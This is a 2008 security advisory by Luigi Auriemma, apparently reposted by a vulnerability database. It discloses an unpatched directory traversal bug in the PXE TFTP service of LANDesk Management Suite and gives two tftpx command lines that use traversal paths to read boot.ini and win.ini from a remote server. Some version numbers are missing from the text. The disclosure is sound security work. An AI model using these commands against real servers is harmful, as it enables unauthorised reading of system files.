Directory traversal in LANDesk Management Suite

Type securityvulns
Reporter Securityvulns
Modified 2008-04-03T00:00:00


                         Luigi Auriemma

Application: LANDesk Management Suite Versions: <= Platforms: Windows Bug: directory traversal Exploitation: remote Date: 01 Apr 2008 Author: Luigi Auriemma e-mail: web:

1) Introduction 2) Bug 3) The Code 4) Fix

=============== 1) Introduction ===============

LANDesk is a well known system management software.

====== 2) Bug ======

The PXE TFTP Service is vulnerable to a classical directory traversal vulnerability exploitable through the adding of one or more chars before the usual dotdot pattern.

The interesting thing is that version has been released just to fix another directory traversal vulnerability.

=========== 3) The Code ===========

tftpx SERVER x\..\..\..\..\..\..\..\boot.ini none tftpx SERVER what_you_want/../../../../../../../windows/win.ini none

====== 4) Fix ======

No fix

Luigi Auriemma